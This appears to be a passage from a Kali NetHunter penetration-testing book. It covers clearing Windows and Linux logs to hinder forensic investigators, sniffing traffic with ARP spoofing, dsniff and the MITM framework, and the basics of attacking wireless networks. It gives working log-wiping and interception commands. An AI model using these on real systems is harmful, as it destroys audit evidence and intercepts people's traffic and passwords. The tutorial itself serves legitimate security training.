the necessary details a network professional would need and understand.

Syslogs are located at /var/log/syslog on Linux systems.

Packet analysis

Further, looking into network forensics, investigators perform packet analysis, observing

any anomalies on the network segment. Packet analysis allows an investigator to determine

the following:

Origin of the attack

Files uploaded and downloaded

Type of traffic on the network

Time of the attack

Extracted artifacts, such as files

URLs and domains

Victim machines during the attack

Telemetry information
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Web server logs

These logs store log messages of all web activities between the web server and the client

web browser. The following are the locations
of

each web server:

Internet Information Server (IIS) log files are located in

%SystemDrive%\inetpub\logs\LogFiles.

Apache in Red Hat, CentOS, and Fedora logs are stored in

/var/log/httpd/access_log and /var/log/httpd/error_log.

For Debian and Ubuntu systems, the Apache web server logs can be found at

/var/log/apache2/access_log and /var/log/apache2/error_log.

FreeBSD Apache logs are located at /var/log/httpd-access.log and

/var/log/httpd-error.log.

Database logs

During a penetration test, you may be tasked
to

manipulate a target database, whether
to

create, modify, remove, or extract information. In doing so, the databases generate their

own set of log messages.

The database logs for a Microsoft SQL Server can
be

found at \\Microsoft SQL

Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.MDF and \\Microsoft SQL

Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.LDF. An investigator may check the

error logs on the database for any suspicious activities, these can be found at \\Microsoft

SQL Server\MSSQL11.MSSQLSERVER\MSSQL\LOG\ERRORLOG.

Event logs

Event logs are a record of actions taken on a system with and without user intervention.

Security logs for events if a user has successfully accessed the system or even failed log-in

attempt, application logging of starting or terminating a program on an operating system.

Event logs keep a record of everything that happens on a system, from the point it's

powered on until it's turned off.

In the Windows 10 operating system, event logs are stored within the following key

location in the registry:

HKLM\System\ControlSet00x\Services\EventLog
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To view a list of available event logs on Windows 10, use the wevtutil el command:

Furthermore, using the wevtutil gl <name of log> command will present

configuration information about the selected log:
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Additionally, the Windows system logs are stored

in C:\Windows\System32\winevt\Logs on a local system:

Simply modifying or removing the log files stored within these locations will present a

challenge to a Forensics Investigation team; it becomes difficult to determine the actual

sequence of the attack and reduces the chances of being caught.
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Clearing logs on Windows

Within the Windows operating system, the Event Viewer is an application that presents all

Application, Security, Setup, and System logs within a single dashboard. To access Event

Viewer, click Start | Windows Administrative Tools | Event Viewer:

For another method of opening Event Viewer on Windows, simply press

Windows + R on the keyboard to open the Run prompt, then type

eventvwr.msc and click OK.

From the Event Viewer window, logs can
be

cleared simply by selecting the Clear Log

feature on the Action pane. To clear logs for a particular category, such as all logs that

reside within the Application group, simply right-click on the group name and choose

Clear Log.

Using PowerShell to clear logs in Windows

PowerShell is a very powerful command-line interface that gives a system administrator a

lot of control on a system for rapidly executing and automating operations and tasks in

Windows, MacOS, and Linux operating systems.
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To begin, click on the Windows accent, which is the start icon in the bottom-left corner on

your desktop and type powershell. The Windows PowerShell application will appear,

simply click on it to engage as shown in the following screenshot:

Ensure you run Windows PowerShell as Administrator. Running a

program or application with Administrator privileges will remove any

sort of restriction a standard user will encounter. These restrictions will

include security privileges.

Now, let's do a few exercises to clear logs:

Exercise 1: Clearing all Event Logs

Using the wevtutil el | Foreach-Object {wevtutil cl “$_”} command will clear

the event logs on Windows:
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After executing the command, the logs are now wiped, as seen in Event Viewer:

Exercise 2: Clearing Specific Logs from a computer

The Clear-EventLog command allows an administrator to clear/wipe all the log messages

from a specific event category. The syntax for using this command is Clear-EventLog<LogName>:

If you recall, using the wevtutil el command will provide you with a

list of log categories on your system.
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Using the Get-Help parameter followed by the Clear-EventLog cmdlet will provide you

with additional options:

We have concluded our PowerShell exercises. We are going to take a look at using the

command prompt
to

clear logs in the next section.

Using the command prompt to clear logs in

Windows

In this section,
we

are going to take a look at using the command prompt to clear logs on a

Windows operating system:

Exercise 1: Clearing individual logs

Previously,
we

used the wevtutil el command on the Windows command prompt to

view a list of log types/categories. We can use wevtutil cl followed by a specific log to

wipe/clear the entries within the log category:
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Additionally, the clear-log syntax can be used as a substitute for cl:

Exercise 2: Clearing all logs using a single script

When we ran the wevtutil el command, we saw a long list of event log categories.

However, clearing each category is quite time-consuming, so use the following script
to

clear each category upon execution:

for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

As we can see in the preceding screenshot, after executing our command, each log file is

being cleared. In the next section, we are going to discuss methods for clearing logs in

Linux.
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Clearing logs in Linux

As with all operating systems, logs are also generated and stored on Linux-based systems.

Log files are the records of all activities that took place on a system. The following are the

general locations of the Linux log files:
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The following are additional log locations on Linux systems:

Example 1: Clearing logs using null

In this example,
we

are going
to

use null, a non-existent object, to remove the contents of a

file. We are going
to

clear the logs of the Apache access.log file on a Linux system. A null

object is an entity without any attributes or characteristics in an operating system.

To discover the location of a file, use the locate command followed by the filename. In

this exercise, we use the locate access.log command to show us the location of all files

that contain the access.log string sequence:

Additionally, we can use discover files that belong to a package in Linux

and filter our search using the locate apache2 | grep “access.log”command.

Next,
we

are going
to

use the cat command followed
by

the file pathway to determine

whether there are any log entries:

As we can see, the previous screenshot contains entries within the access.log file.

Additional, we use the du –sh <filename> command to determine the file size; if it's 0

KB the file is empty, if the file size is greater than 0 KB, the file contains entries:
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Now we are going to change directory
to

the location of the access.log file using the cd

/var/log/access.log command and redirect null to the file:

If we use the cat command on the file once more, we see there are no entries and the file

size is 0 KB:

Exercise 2: Clearing logs using the True utility

Another technique to clear/remove logs from a file is using the True utility. We have

generated some traffic to our web server, as you can see in the following screenshot:

Currently, our file size is at 8 KB:

Using the true command followed
by

the filename or path with file will erase the entries:

[151 ]



Clearing Tracks and Removing Evidence from a Target Chapter 6

The true command/utility has a description that says it does no work or

nothing, successfully.

We can verify now that there are no entries within the file and the file size is 0 KB:

Using Meterpreter to clear Windows logs

Within the Metasploit framework, there exists a very advanced and dynamically-extensible

payload known as Meterpreter. Using this utility during the exploitation phase of a

penetration test it will allow you
to

execute the stager payloads on the target system which

can create bind or even reverse shells between the target and the attacker's machine.

Metasploit is an exploitation-development framework created by Rapid7

(www.rapid7.com). It allows penetration testers to gather information

about a target, discover vulnerabilities, create and deliver exploits and

payloads onto a target, and create backdoors. It's like a penetration tester

toolkit for discovering and exploiting vulnerabilities.

Meterpreter is designed to be stealthy, powerful, and extensible. Once a system has been

successfully exploited, you can use the clearev command to clear the following logs of

Application, System, and Security:

As we can see in the preceding screenshot, Meterpreter is clearing the logs of each category

on the target system. The number of entries cleared is also listed.
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Summary

In this chapter, we discussed ways of being stealthy during a penetration test, while

simulating attacks on a targeted system and network. We discussed various types of logs

and their locations. Further, we looked at a few scenarios where we used various

techniques to clear logs on both Windows and Linux operating systems.

In the next chapter, we will cover Packet Sniffing and Traffic Analysis. We'll use different

techniques to capture traffic and conduct analysis using various tools to obtain confidential

information.
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Section 3: Advanced Pentesting

Tasks and Tools

In this section,
we

will study NetHunter's tools for exploiting networks and wireless

devices. We will also learn about choosing hardware adapters for testing, and look at some

techniques for securing a system.

The following chapters are in this section:

Chapter 8, Packet Sniffing and Traffic Analysis

Chapter 9, Targeting Wireless Devices and Network

Chapter 10, Avoiding Detection

Chapter 11, Hardening Techniques and Countermeasures
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Packet Sniffing and Traffic

Analysis

During the reconnaissance, or information-gathering, phase of penetration testing, the more

information and details we have about the target, the more likely
we

will be to succeed

in exploiting a vulnerability on the target system or network. We are going
to

take a look at

various sniffing and network traffic analysis tools and utilities within Kali Linux and

NetHunter.

In this chapter, we will cover the following topics:

Capturing network traffic using various tools

Packet analysis

Let's dive in!

The need for sniffing traffic

Why does a penetration tester need to understand the benefits of packet sniffing? Packet

sniffing enables a penetration tester to monitor and capture network traffic along a segment

of the network. Sniffing on a computer network is also a form of wiretapping. Wiretapping

involves implanting a device into traffic along a wire, such as a network cable or a

telephone wire, for the purpose of monitoring and capturing sensitive data.
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The following are some examples of sensitive information that may be captured
by

a packet

sniffer:

Telnet traffic

FTP usernames and passwords

DNS traffic

Web traffic

Email traffic

Generally any username and password sent in plaintext format

These are just a few, however a lot more information is sent along the network in the form

of bits. A sniffer can be either hardware-based or software-based to be planted on a

network. A hardware-based sniffer usually
has

at least two interfaces (ports); this allows

the hardware-based sniffer to be placed inline on the network and intercept all network

traffic that passes through it.

The following diagram shows a network sniffer that has been placed inline on the network,

between the switch and the router. All traffic from the client devices, such as the PCs, that is

destined for the router or beyond and vice versa will be intercepted and captured by the

device or attacker machine. However, if the PCs are intercommunicating, such as PC1 is

sending data to PC3, the network sniffer won’t
be

able to intercept or capture the traffic as

this traffic will not be passing through it:
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A hardware-based sniffer can be a very small device, maybe just the size of a credit card or

a box of matches. The following is a picture of a Packet Squirrel made by Hak5 (https://

shop.hak5.org). One of its capabilities is
to

capture traffic that is passing inline and store it

on a USB flash drive (attachable). This device was created for both penetration testers and

system administrators as it contains functions that allow a system administrator to

remotely access a network and perform troubleshooting techniques on the device within a

local area network:

As we can see, this is an inline packet sniffer. It will be able to capture and store all network

traffic that passes through it.

Types of packet-sniffing techniques

Packet sniffing is usually done using the following techniques:

Active sniffing

Passive sniffing

Active sniffing

Active sniffing involves some sort of action done by a penetration tester, such as redirecting

user traffic to another gateway for the purpose of monitoring and capturing the packets on

the network. A penetration tester may perform an ARP cache-poisoning attack on a victim’s

machine by modifying the IP-MAC entries in the ARP table.

Flooding bogus MAC addressing into a switch will cause a CAM Table overflow, causing

the switch to flood all incoming traffic out of all other ports.
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Also, installing a Rogue DHCP Sever on the network provides clients with a nonlegitimate

default gateway and DNS Server. The victim's traffic will
be

redirected to potentially

malicious websites, and their traffic may be intercepted.

The penetration tester will need to execute a precursor attack to cause a redirection of the

victim’s traffic. The following diagram presents a simple overview of active sniffing:

The preceding diagram portrays a typical man-in-the-middle (MITM) attack.

Passive sniffing

Passive sniffing does not require much intervention. It allows a penetration tester
to

monitor and capture network traffic without having to initiate any attack to redirect the

user's traffic. In passive sniffing, the penetration tester would establish a connection to a

hub on the network, as hub broadcasts the incoming signals out
to

the all other ports.

The following diagram shows an example of passive sniffing where an attack is connected

to a hub on a network segment and a copy of all traffic passing along the line is sent to their

machine:
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The preceding topology shows the effect of implementing a hub on a network.

Tools and techniques of packet sniffing

In this section,
we

are going to discuss various tools and techniques that can assist a

penetration tester in successfully capturing packets on a network.

Aircrack-ng

One of the most popular wireless-cracking tools is Aircrack-ng. Aircrack-ng is actually a

suite of multiple security auditing tools specifically used for wireless networks.

The Aircrack-ng suite of tools allows a penetration tester to monitor wireless networks,

capture packets in the air, execute various types of attacks, create rogue access points

(APs), and perform both WEP and WPA cracking.

In Chapter 13, Selecting a Kali Device and Hardware,
we

speak briefly about using external

wireless network interface cards (NICs), such as ALFA Network AWUS036NHA. How can

you determine whether a wireless dongle or WLAN NIC is capable of monitoring or

performing packet injection on a target network? Within aircrack-ng, there exists a tool

called airmon-ng, which allows you to test a wireless NIC for compatibility.
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More information about the Aircrack-ng suite of tools can be found on

their official website: www.aircrack-ng.org.

Within the aircrack-ng suite, the airmon-ng tool is used to monitor wireless networks. This

tool can help a penetration tester determine
the

following:

Extended Service Set Identifier (ESSID)

Basic Service Service Set Identifer (BSSID)

Wireless encryption standard used
on

a target wireless network

An approximate distance between
the

penetration tester’s machine and a wireless

router

The operating channel of a wireless network

Observing wireless networks using airmon-ng

First,
we

are going
to

verify the number of wireless interfaces available on our device. To

do this, use the iwconfig command, as shown in the following screenshot:
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Using only the airmon-ng command will provide you with a list of local wireless

interfaces:

To get started, you must terminate any processes that may cause interference when

enabling monitoring mode. Use the airmon-ng check kill command to check and

terminate these processes on Kali NetHunter:

Next,
we

will enable our wireless NIC to begin monitoring (promiscuous) mode using the

airmon-ng start wlan1 command:
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You can use the iwconfig command to determine the number of wireless

interfaces available on your device.

With the output, a new logical interface appears: wlan1mon. This interface will be used to

perform all monitoring and capturing functions in Aircrack-ng.

Next,
to

view all wireless networks within your surrounds, use the airodump-ng

wlan1mon command:

In the upper section of the screenshot,
we

can see the following:

BSSID: Media access control (MAC) of the access point or wireless router.

PWR: Power ratings. The lower the power level, the further away it is from us.

Beacons: Number of beacon messages from a particular AP or wireless router.

CH: The channel that the wireless router is operating on.
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Enc: The encryption standard, such as WEP, WPA, WPA, or Open.

Cipher: The encryption cipher used within the encryption standard.

Auth: The authentication mechanism, such as pre-shared key (PSK) or

management (MGT).

ESSID: The name of the wireless network as seen by a mobile device. This is also

known as the service set identifier (SSID).

Let’s observe the lower sections of the output
as

well:

The STATION column shows the MAC address of clients that are associated with a

particular wireless router via the BSSID value. The power levels provide a rough distance

between the clients and your device. The probe displays the networks (SSIDs) that the client

is looking for.

To kick it up a notch, using the following command will allow a pentester to monitor,

capture, and save a copy of the captured data for offline analysis:

airodump-ng ‒w offline_file ‒c <channel number> --bssid <MAC addr of router>

wlan1mon

The following is a screenshot that demonstrates how to use the sequence of commands –

part of the MAC address of the target wireless router was blurred for privacy:
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-w allows you to store a copy of the traffic monitor on the interface. -c specifies the channel

to listen on. The channel number should be the same as the target network. --

bssid specifies the MAC address of the target wireless router.

By default, the file is saved within the root directory of the device. If you're working within

another directory, use the ls –l command to view the contents of your current directory. If

you're not sure about your current path, use the pwd command, which shows your present

working directory.

Arpspoof

One technique a penetration tester can use to ensure they are able
to

capture victim traffic is

to perform an MITM attack. Let’s imagine there are two people on a wireless network, Alice

and Bob. They both wish
to

exchange some messages across the network. However, there is

a pentester whose task is
to

observe and capture network traffic.

Alice and Bob connect their mobile device to the wireless router or access point (AP) and

begin to communicate. The wireless router is
the

intermediary device that will handle all

their traffic forwarding:
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Using arpsoof, the Pentester is able to spoof
the

media access control (MAC) address of the

router to trick a victim, making the other user on the network believe the pentester’s

machine is now the router or default gateway. The following diagram shows that the

pentester is connected to the same wireless network as Alice and Bob. The objective now is

to convince Alice’s machine that the only way
to

reach Bob is
to

send all traffic to the

pentester and vice versa for Bob’s network traffic:

The following is the syntax used in the arpspoof tool:

arpspoof ‒i <interface> -c <host ip> -t <target ip> <host ip> -r

-i: Allows you to specify an interface

-c: Specify a hardware address

-t: Specify the target, such as the default gateway

host: Specify the host to intercept packets

-r: Allows you to capture a bidirectional flow of traffic
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To execute a successful MITM attack, we will have a victim, Alice, and a pentester

connected to the same network. The objective is to ensure Alice’s machine thinks the default

gateway is the pentester's machine:

Both Alice and the pentester are connected
to

the same wireless network (dotted lines).

However, the pentester uses the following command to ensure all of Alice’s traffic passes

through their machine and then their machine will forward it to the actual default gateway:

arpspoof ‒i wlan0 ‒t 172.16.17.18 ‒r 172.16.17.14

Once the command is executed on the pentester's machine, it will send continuous

gratuitous ARP messages to both Alice and the default gateway (wireless router) to ensure

their local ARP cache is updated and contains the fake ARP entries.

Dsniff

As described by the creator, Dsniff is a collection of network-auditing tools and password

sniffers. It provides a penetration tester with the capabilities to perform MITM attacks,

packet analysis, and capture network packets.
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Using the following command on either Kali Linux or Kali NetHunter will enable Dsniff to

listen on any traffic on the specified interface:

dsniff -i <network adapter>

The following command is an example of using dsniff to monitor traffic that hits the

wlan0 interface on your device:

dsniff ‒i wlan0

Kismet

Another very popular wireless-monitoring tool in Kali NetHunter is Kismet. Kismet is like

a Swiss Army knife for wireless networks. It
can

sniff packets on a wireless network,

provides a penetration tester with war-driving functionalities, and is able to detect various

wireless attacks and threats on a target network.

To get started, type kismet in the Terminal of Kali NetHunter. You should see the

following screen appear; select OK by hitting
the

Enter key:
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Kismet will ask for your permission to autostart the Kismet server; simply select Yes:

The following window will appear. You can enable/disable logging and set a title for the

log file should you decide to enable logging. I would recommend disabling the Show

Console option before selecting Start. Disabling the Show Console option will carry you

directly to the monitoring user interface of Kismet:

If you continue with the default parameters,
the

following window is the console window,

which displays logs of each activity made
by

Kismet. Simply click on Close Console

Window to view the monitoring user interface of Kismet:
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Now that you're on the main interface of Kismet, let’s get familiar with it and check out its

capabilities. To add a source of monitoring, such as a wireless interface, select Kismet |

Add Source:

I have chosen to add my wlan1mon interface
as

the source. Remember, you can use the

iwconfig command on Kali NetHunter
to

determine your available wireless interfaces:

Kismet has the ability to determine the manufacturer of a device.
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Once your source interface has been successfully added onto Kismet, you’ll begin
to

see

various wireless networks are populating on the upper half of the window. By selecting a

wireless network, the associated clients are listed in the lower half:

To get further details about a target network, select Windows | Network Details.
As we

can see, Kismet provides
us

with a simplified view with the target's network name (SSID),

the BSSID (MAC address), type of device, operating channel, radio frequency, signal

strength, and encryption standard and type:
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Tcpdump

To put it simply, the tcpdump tool is a command-line protocol analyzer. This tool is very

useful in a situation where you are remotely accessing a penetration testing, such as your

Kali NetHunter device or even a Raspberry Pi planted within the vicinity of a target

wireless network.

To enable monitoring, enter the tcpdump –i wlan0 command:

Notice once the previous commands are entered, the results begin
to

populate the

command-line interface. This is can be very challenging to perform a live analysis. I would

recommend you first capture the packets and store them in an offline file, and then perform

your analysis.

To capture network packets and store them in an offline file, we can use the tcpdump –i

wlan0 –w tcpdumpcapture.pcap command:

The –w parameter allows you
to

specify a file
to

write the captured data to. During the

capture, the results will not be populated on the screen, but rather be written to the

tcpdumpcapture.pcap file.

Using the ls –l | grep .pcap command,
we

can see the file exists as expected:
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To verify or read the data written in a file, use the tcpdump –r <filename> command:

TShark

TShark is another command-line network protocol analyzer. It has similar capabilities to

Wireshark for capturing traffic on a live network and even reading offline captures that

were previously saved for further analysis. Many of its features are like the previously

mentioned tool, the tcpdump tool.

To capture packets and output the data into a file, we can use the tshark –i

<interface> -w <output file> command:

Once again, notice the live traffic isn’t displayed on the Terminal as it is being written to the

tsharkcapture.pcap file. However, without using the –w parameter, we’ll see all the

traffic that is hitting our wlan0 interface:
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The output shows that another machine on my network is attempting to perform LAN

synchronization for Dropbox.

The MITM framework

For this tool, the name says it all. It’s an MITM framework that contains many functions,

such as capturing a victim’s cookie information, performing keylogging functions and

Address Resolution Protocol (ARP) injection attacks, and spoofing.

In this exercise, we are going to intercept packets between a victim and the default

gateway. To get started, open the menu on your Android device and open the NetHunter

app:
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Once the app is opened, use the built-in menu on the left to expand the category listing.

You will see the MITM Framework with the list, click on it to open it:

The following window will appear, simply select the interface you would like
to

use for the

attack:

Once you’re finished, swipe to the right until you’re on the Spoof Settings tab. Simply

enable the spoofing plugin, select the redirect mode as ARP, and set the gateway address

and victim’s IP address as shown in the following screenshot:
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Once all your parameters are configured, select Start MITMf attack to begin

intercepting packets. Remember, you can use any of the previously mentioned packet

capturing tools, such as TShack, Tcpdump, or even Dsniff,
to

capture and store the packets

offline for later analysis.

Packet analysis techniques

In this section,
we

are going to discuss packet analysis using tools in Kali NetHunter. We

will be using various sample files taken from https://wiki.wireshark.org/

SampleCaptures and https://www.honeynet.org/challenges as these samples are made

for educational uses and contain a lot of data that is usually found on production networks.

Dsniff

We used Dsniff earlier to capture packets, but now
we

are going to use it
to

help us

reassemble and view the plaintext transactions that took place in an offline PCAP file. For

this exercise,
we

are going to use the telnet.cooked.pcap file from https://wiki.

wireshark.org/SampleCaptures#Telnet.
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Use the dnsiff –p <filename> command to enable the processing of contents from an

offline, previously saved capture file. As
we

can see in the following screenshot, there is a

communication that took place between two devices:

The following is the information we are able to interpret:

Furthermore, we know its a Telnet connection which is identified by Dsniff and the

destination port 23. The text that follows is the actual commands sent from the client

(192.168.0.2) to the telnet server (192.168.0.1).

Tshark

We can use TShark to gather information from our offline PCAP file. To get a copy of each

web browser used to visit per unique website, we can use the following command:

tshark -r conference.pcapng -Y http.request -T fields -e http.host -e

http.user_agent | sort ‒u | uniq -c | sort -n
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We are able to see each URL (on the left in the following screenshot) and the user agent

(web browser) that made the HTTP GET request to the web server:

Let’s attempt to retrieve all the DNS queries.
To

do this,
we

can use the following

command:

tshark -r conference.pcapng | grep "Standard query" | cut -d "A" -f 2 |

sort ‒u

This command reads the contents from the conference.pcapng file and creates an initial

filter to show only lines which include the Standard query string. Once this is done, it

will remove any unnecessary data and show each unique domain name or hostname in the

DNS query:

How about extracting artifacts from a saved capture file? It's possible with TShark. Use the

–export-objects [smb, http, smb, tftp] <output_folder> command to extract

objects. In this example, we are going to extract all the files that were transferred using the

HTTP application protocol. We begin by using the following command:

tshark -nr conference.pcapng --export-objects http,tshark_folder
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We then verify that the extraction was successful:

Urlsnarf

Urlsnark is used
to

sniff HTTP requests from live network traffic and even offline .pcap

files. This tool can help us determine which websites were visited by the clients on a

network. For this exercise,
we

are going to use the conference.pcap file from https://

www.honeynet.org/node/1220.

To get started, download and the save offline
on

your device. Use the urlsnarf –p

<file> command to get all the HTTP data:
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However, as you can see, the output is very overwhelming. Let's create a filter to provide

us
only with the HTTP URLs from this file. We can use the following command:

urlsnarf -p conference.pcapng | grep "http://" | cut -d "/" -f 5

Our output is now much clearer. We have a list of all the URLs users visited during this

capture. Let's create another filter
to

determine the user agents (client’s web browser)

during each communication. Using the following command will remove duplications and

sort our output:

urlsnarf -p conference.pcapng | grep "http://" | cut -d '"' -f 6 | sort ‒u
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Tcpdump

We can use Tcpdump to view the user agents by using the tcpdump –r <file> -nn -A

-s1500 -l | grep "User-Agent:" | sort –u command, as shown in the following

screenshot:

As mentioned, the user agents determine the web browser. This information can
be

useful

during a forensic investigation. Furthermore,
we

can use tcpdump to see all the source and

destination IP addresses within the capture file.

To obtain a list of source IP addresses with the source ports,
we

can use the following

command:

To view all the destination IP addresses and the destination port numbers, use the

following command:
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Summary

In this chapter, we discussed the benefits of sniffing and analyzing packets on a network.

The main point is to capture sensitive information which will assist
us

in a penetration test.

We compared and contrasted the active and passive sniffing techniques. Furthermore,
we

demonstrated various packet-capturing techniques and analyses using a suite of tools

found on Kali NetHunter. I hope this chapter has been informative and resourceful foryour

studies and career.

In the next chapter, we will cover targeting wireless devices and networks.
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Targeting Wireless Devices and

Networks

A decade ago, there weren't as many mobile devices in the world. Back then, only laptops

were using wireless networking technology, until the smartphone industry kicked off.

Modern-day organizations are adopting the bring-your-own-device (BYOD) concept,

where organizations allow their employees to connect their personal mobile devices, such

as a smartphone, tablet, or laptop,
to

the corporate network securely, as it will create an

increase in overall productivity.

As more mobile devices are introduced
to

a corporate network, this creates a few security

concerns and threatens the security posture of a corporate wireless and wired network

infrastructure. In addition, the configurations on a wireless network device, such as an

access point (AP) or wireless router, may not
be

up to the company's standards. At times, a

network administrator may forget
to

apply a security configuration or simply deploy a

device in a production network using default settings.

In this chapter, we will take a look at the following topics:

Types of wireless networks

Wireless standards

Wireless authentication modes

Wireless encryption standards

Wireless threats

Wireless attacks

Bluetooth hacking
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Before the inception of wireless networking, each device required a physical cable that

connected the device's network interface card (NIC) to the network switch to communicate

with other devices and share resources. The major limitation of using a wired network is

that the end devices, such as computers or servers, were limited by the length of the

network cable. As with most Category (CAT) cables, such as CAT5, 5e, and 6, the

maximum cable length is 100 meters. Furthermore, the inconvenience of having to move

around with a very lengthy cable is just too frustrating at times for certain users.

The creation of the IEEE 802.11 standard, which uses radio channels, paved the way for

modern wireless networks.

Here are some advantages of using the IEEE 802.11 wireless networking:

It eliminates the need to run cables to each end device

It provides network connectivity
to

areas where it's difficult to lay network cable

It allows devices
to
roam the within area of the access point (AP) or wireless

router

However, using a wireless network can create some concerns. The following are some

disadvantages of using IEEE 802.11:

Wireless encryption can
be

broken due to security vulnerabilities

The bandwidth on a wireless network is usually lower than a wired network

Interference from other radio-emitting devices

The signal weakens over distance

Wireless network topologies

In this section,
we

will discuss various types
of

wireless network topologies. Before

attacking a wireless network, a penetration tester should have an understanding of wireless

network designs and how clients are interconnected.
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Independent Basic Service Set

Within an Independent Basic Service Set (IBSS), there are no APs or wireless routers in

this design/topology. Each client device establishes a connection with the others over the

IEEE 802.11 standard. This is known as an ad hoc network:

Basic Service Set

In a Basic Server Set (BSS) design, all clients are interconnected with the use of a wireless

router or an AP. The wireless router or AP is responsible for moving network traffic

between clients and the wired network. This type of topology is also known as

infrastructure mode:
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Extended Service Set

The Extended Service Set (ESS) mode is very similar to BSS. Within an ESS, there are

multiple APs or wireless routers connected to the same wired network. This design is

useful for extending a wireless signal throughout a building or compound, allowing users

to access the resources within the network while a user may roam around:

Wireless standards

The Institute for Electrical and Electronic Engineers (IEEE) has created many standards

within the computing and IT industry. One very popular standard known by professionals

within the field of networking and security is
the

IEEE 802.11 standard, which outlines how

wireless communication operates on both the 2.4 GHz and 5 GHz frequencies. Regular

consumers know this technology by another name: Wi-Fi.

The following table outlines the different variations of the IEEE 802.11 standards, with their

operating frequencies and the maximum bandwidth capacity:
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If you're targeting a wireless network that is operating on the 5 GHz frequency and your

wireless network adapter is using a standard frequency, which operates on 2.4 GHz only,

you won't be able to successfully execute any attacks on the target network.

Service Set Identifier

The Service Set Identifier (SSID) is most commonly known as the name of the wireless

network, as it is seen by laptops, smartphones, and other mobile devices. The SSID is used

to help us differentiate a particular network from another. An AP or wireless router

continuously advertizes its SSIDs via broadcast messages, while clients, such as laptops,

capture these broadcast messages (better known as beacons)
to

obtain the SSID it contains.

SSIDs are usually human-readable text or characters of a maximum length of 32 bytes. The

following is an example of SSIDs discovered
by

an Android tablet:

Wireless authentication modes

On
a wireless network, there are usually three different ways a client device can

be

authenticated to a wireless router or an access point:

Open authentication

Shared-key authentication

Centralized authentication
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The open authentication system is quite simple. The wireless router or AP is not configured

with a password, and simply broadcasts its SSID to everyone who is near. A client who

wishes to connect can do so freely, without having to provide any sort of credentials or

identity before gaining access to the wireless network. An example of using open

authentication is the free hotspot service in public areas and venues, such as coffee shops.

Within the shared-key authentication system, the wireless router or AP is configured with a

pre-shared key (PSK). This method allows clients
to

connect
to

the wireless network only if

they can provide the correct key. Clients without the appropriate key will be denied access.

This method is most commonly found in home networks.

In centralized authentication, a centralized authentication server is used to manage network

user accounts, privileges, and accounting. The wireless router or AP is not configured with

a secret key, but rather, communicates with the centralized authentication system to query

each login attempt on the wireless network. Let's imagine a user wants to connect their

laptop to the wireless network, so they select
the

appropriate SSID and attempt to connect.

The wireless router sends a login request
to

the user. The user is prompted to enter their

user credentials for the network; the wireless router will then send the login credentials to

the authentication server for validation. If approved, the authentication server tells the

wireless router
to

allow access and assign certain privileges
to

the user. If the account is not

valid, the authentication server tells the wireless router not to grant access to the network.

This method is usually found in corporate networks:

Both Remote Authentication Dial-In User Service (RADIUS) and

Terminal Access Controller Access-Control System Plus (TACACS+) are

examples of centralized authentication servers.

Wireless encryption standard

As a penetration tester, it's important
to

understand the various types of wireless

encryption and their standards.
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Wired Equivalent Privacy

The Wired Equivalent Privacy (WEP) standard was the first encryption standard

implemented within an IEEE 802.11 network. It's designed
to

provide data confidentiality

during all wireless communications between
an

access point and a client. WEP uses the

RC4 encryption cipher/algorithm to ensure confidentiality during transmission; however,

the WEP encryption standard uses a 24-bit initialization vector (IV). The IV, in this case, is

used to create a stream of ciphers for the RC4 encryption algorithm.

The following are the various key sizes for WEP:

A 64-bit WEP uses a 40-bit key

A 128-bit WEP uses a 104-bit key

A 256-bit WEP uses 232-bit key

WEP has been known for its design flaws over the years and is considered a security

vulnerability when applied
to

an IEEE 802.11 network.

Wi-Fi Protected Access

Wi-Fi Protected Access (WPA) is another encryption standard designed for the IEEE 802.11

network and is the successor of the WEP standard. WPA utilizes the Temporal Key

Integrity Protocol (TKIP), which uses the RC4 cipher (128-bit per packet) for data

encryption (confidentiality). TKIP, however, mitigated the vulnerabilities from WEP by

simply increasing the size of initialization vectors (IVs) and mixing their functions. The

128-bit Temporal Key is combined with the client device's media access control (MAC)

address and the IVs
to

create a keystream that is then used for data encryption.

Wi-Fi Protected Access 2

Wi-Fi Protected Access 2 (WPA2) is the successor of the WPA encryption standard for IEEE

802.11 wireless networks. This standard uses the Advanced Encryption Standard (AES),

which is superior
to

the RC4 encryption cipher suite. AES provides a stronger encryption of

datagram blocks to ensure data confidentiality. Furthermore, WPA2 applies the Counter

Mode with Cipher Block Chaining Message Authentication Code Protocol

(CCMP), which is superior to TKIP. CCMP handles data encryption by using a 128-bit key

to provide confidentiality together with AES, which creates 128-bit data blocks.

[188 ]



Targeting Wireless Devices and Networks Chapter 8

Further information on wireless security standards can be found on the

Wi-Fi Alliance website: https://www.wi-fi.org/discover-wi-fi/

security.

Wireless threats

The following are security threats when using wireless networks:

Rogue access point: At times, a penetration tester will need to check the security

posture of a company's wireless network and the security awareness of the

employees. A rogue access point is where a penetration tester would set
up

a fake

access point with an SSID to trick users into establishing a connection. Imagine

creating an SSID on a rogue access point, naming it Company XYZ VIP Access, and

leaving it open. A lot of people seeing this name will think there are special

resources on this wireless network. This technique will allow the pentester to

sniff traffic easily and obtain sensitive data:

Evil twin: The evil twin setup is a bit similar to the rogue access point

configuration. However, with an evil twin, the penetration tester deploys an

access point within the corporate network using the same SSID as the actual

organization. When users connect, they will be able to access the local resources

without realizing they had connected to an unauthorized access point. This

would allow the pentester to intercept and sniff traffic easily.
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AP and client MAC spoofing: A penetration tester can record the MAC address

of an access point and clients that are associated. Capturing this information will

allow the penetration tester to mimic either an access point into tricking victims

to connect to or use the MAC address of the client to establish a connection to an

access point with the MAC filtering feature enabled.

De-authentication attack: A penetration tester sends specially-crafted packets to

an access point for the purpose of creating a disassociation between the access

point and its connected client devices. To it put simply: a de-authentication

attack will cause the access point to knock off one or more clients. This attack also

has the following benefits:

Discovering hidden SSIDs. This is done by monitoring the probes

sent
by

a client device and its association with an access point.

Capturing the WPA2 handshake that is used to crack the password

for the wireless network.

Wireless attacks

For most of the following attacks, we'll be using the aircrack-ng suite of tools to help us

accomplish our objectives.

Aircrack-ng can be found at www.aircrack-ng.org.

Exercise ‒ checking whether a wireless card

supports injection

A quick and easy method to determine whether your wireless NIC supports packet

injection is to use the aireplay-ng tool. Using the aireplay --test

<interface> command will test for packet injection.
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The following is a demonstration of using the command. As you can see, our card supports

packet injection:

In addition, the -9 parameter can be used instead of --test.

If you look carefully at the output, you'll see the packet loss ratio was obtained for each

access point.
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Exercise ‒ detecting access points and their

manufacturers

We can detect each access point that is within range of our Kali NetHunter device. We'll be

able to determine the following:

The MAC address or BSSID of the access point

